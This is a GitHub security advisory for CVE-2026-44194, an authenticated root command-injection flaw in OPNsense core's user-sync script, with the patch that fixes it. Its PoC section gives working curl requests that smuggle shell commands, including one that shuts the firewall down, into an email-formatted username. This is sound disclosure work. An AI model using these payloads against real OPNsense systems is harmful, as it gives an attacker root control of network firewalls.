Skip to content

RCE on user managment

Critical
fichtner published GHSA-f59w-m967-9rf6 May 12, 2026

Package

opnsense/core

Affected versions

<= 26.1.7

Patched versions

26.1.8

Description

Summary

An authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system.

Details

The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php.

When a user is added or modified, the script signals the backend that a user change has occurred by invoking pluginctl. However, the $username variable is passed directly into the shell command string.

While both the web interface and API enforce validation on the username field, the application explicitly allows valid email addresses to be used as usernames. The "local-part" of an email address can be wrapped in quotes. Inside these quotes, shell metacharacters are considered legally valid email characters.

By supplying a crafted email address, the payload passes the email validation checks but retains the shell payload. When passed blindly to the shell by mwexecf, the shell interprets the metacharacters, leading to arbitrary command execution.

PoC - Examples

curl -k -u <api key> \
-H 'Content-Type: application/json' \
-X POST http://<IP>/api/auth/user/add/ \
-d '{"user": {"name": "\"`id>/conf/proof.txt`\"@example.com", "password": "TestPass123", "scrambled_password": "0"}}'

Result: uid=0(root) gid=0(wheel) groups=0(wheel)

curl -k -u <api key> \
-H 'Content-Type: application/json' \
-X POST http://<IP>/api/auth/user/add/ \
-d '{"user": {"name": "\"`/sbin/shutdown${IFS}-p${IFS}now`\"@example.com", "password": "TestPass123", "scrambled_password": "0"}}

Impact

Successful exploitation yields total system compromise. Because the injected commands execute as root, an attacker can completely take over the firewall.

Recommended Fix

In sync_user.php:

- mwexecf('/usr/local/sbin/pluginctl -c user_changed ' . $username);
+ mwexecf('/usr/local/sbin/pluginctl -c user_changed %s', [$username]);

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-44194

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits